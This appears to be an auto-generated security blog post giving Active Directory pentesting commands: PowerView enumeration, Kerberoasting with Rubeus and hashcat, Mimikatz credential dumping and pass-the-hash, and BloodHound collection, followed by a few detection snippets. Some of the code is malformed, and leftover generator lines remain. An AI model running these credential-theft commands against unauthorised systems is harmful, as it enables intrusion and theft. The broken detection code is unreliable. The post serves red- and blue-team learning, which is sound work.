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Jose C.’s recent post highlights the value of No Starch Press cybersecurity books, particularly those covering Active Directory (AD) pentesting and advanced offensive security techniques. The mention of PEN300, ADPentesting, and HackerCulture suggests a focus on red-team operations and adversarial tactics. Below, we dive into practical commands, tools, and methodologies for AD security testing.
You Should Know: Essential AD Pentesting Commands & Techniques
1. Enumeration with PowerView
PowerView (part of the PowerSploit framework) is critical for AD reconnaissance:
Import PowerView Import-Module .\PowerView.ps1 Get domain info Get-NetDomain List all domain users Get-NetUser | Select-Object samaccountname Find privileged groups (e.g., Domain Admins) Get-NetGroup -GroupName "Domain Admins"
2. Kerberoasting with Rubeus
Extract service account hashes for offline cracking:
Request Kerberos tickets for accounts with SPNs .\Rubeus.exe kerberoast /outfile:hashes.txt Crack hashes with Hashcat hashcat -m 13100 hashes.txt rockyou.txt
3. Lateral Movement with Mimikatz
Dump credentials from memory:
Dump LSASS secrets .\mimikatz.exe "sekurlsa::logonpasswords" "exit" Pass-the-Hash attack .\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp /ntlm:<NTLM_HASH>"
4. BloodHound for AD Mapping
Visualize attack paths using BloodHound:
Ingest data with SharpHound .\SharpHound.exe -c All Analyze in BloodHound (Neo4j required) bloodhound --no-sandbox
5. Defensive Checks (Blue Team)
Detect malicious activity with Windows Event Logs:
Check for Kerberoasting attempts
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} | Where-Object { $_.Message -like "0x17" }
Monitor LSASS access (Mimikatz)
Sysmon | Where-Object { $<em>.EventID -eq 10 -and $</em>.TargetImage -like "lsass.exe" }
What Undercode Say
AD pentesting requires a balance of offensive tools (Mimikatz, BloodHound) and defensive awareness (SIEM rules, Sysmon). Key takeaways:
– Kerberoasting remains a prevalent attack vector.
– Least Privilege principles mitigate pass-the-hash risks.
– Logging (e.g., Event ID 4769) is critical for detection.
Expected Output:
A structured guide to AD security testing, merging No Starch Press’s theoretical depth with hands-on commands for red/blue teams.
Relevant URLs:
References:
Reported By: Activity 7317734517711024128 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
